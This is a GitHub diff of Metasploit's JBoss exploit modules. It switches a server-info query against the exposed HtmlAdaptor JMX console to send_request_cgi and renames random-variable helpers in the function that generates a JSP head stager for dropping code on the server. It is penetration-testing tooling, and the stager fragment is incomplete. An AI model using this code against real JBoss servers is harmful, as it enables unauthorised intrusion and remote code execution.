File tree Expand file tree Collapse file tree 2 files changed +13
-8
lines changed Expand file tree Collapse file tree 2 files changed +13
-8
lines changed Original file line number Diff line number Diff line change @@ -73,11 +73,16 @@ def auto_target(available_targets)
73
73
end
74
74
75
75
def query_serverinfo
76
- path = normalize_uri ( target_uri . path . to_s , '/ HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo ' )
77
- res = send_request_raw (
76
+ path = normalize_uri ( target_uri . path . to_s , 'HtmlAdaptor' )
77
+ res = send_request_cgi (
78
78
{
79
79
'uri' => path ,
80
- 'method' => http_verb
80
+ 'method' => http_verb ,
81
+ 'vars_get' =>
82
+ {
83
+ 'action' => 'inspectMBean' ,
84
+ 'name' => 'jboss.system:type=ServerInfo'
85
+ }
81
86
} )
82
87
83
88
unless res && res . code == 200
Original file line number Diff line number Diff line change @@ -10,11 +10,11 @@ module Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
10
10
# @param stager_jsp [String] The name name of the jsp stager.
11
11
# @return [String] The JSP head stager.
12
12
def head_stager_jsp ( stager_base , stager_jsp_name )
13
- content_var = rand_text_alpha ( 8 +rand ( 8 ) )
14
- file_path_var = rand_text_alpha ( 8 +rand ( 8 ) )
15
- jboss_home_var = rand_text_alpha ( 8 +rand ( 8 ) )
16
- fos_var = rand_text_alpha ( 8 +rand ( 8 ) )
17
- bw_var = rand_text_alpha ( 8 +rand ( 8 ) )
13
+ content_var = Rex :: Text . rand_text_alpha ( 8 +rand ( 8 ) )
14
+ file_path_var = Rex :: Text . rand_text_alpha ( 8 +rand ( 8 ) )
15
+ jboss_home_var = Rex :: Text . rand_text_alpha ( 8 +rand ( 8 ) )
16
+ fos_var = Rex :: Text . rand_text_alpha ( 8 +rand ( 8 ) )
17
+ bw_var = Rex :: Text . rand_text_alpha ( 8 +rand ( 8 ) )
18
18
head_stager_jsp_code = <<-EOT
19
19
<%@page import="java.io.*,
20
20
java.util.*"
You can’t perform that action at this time.
0 commit comments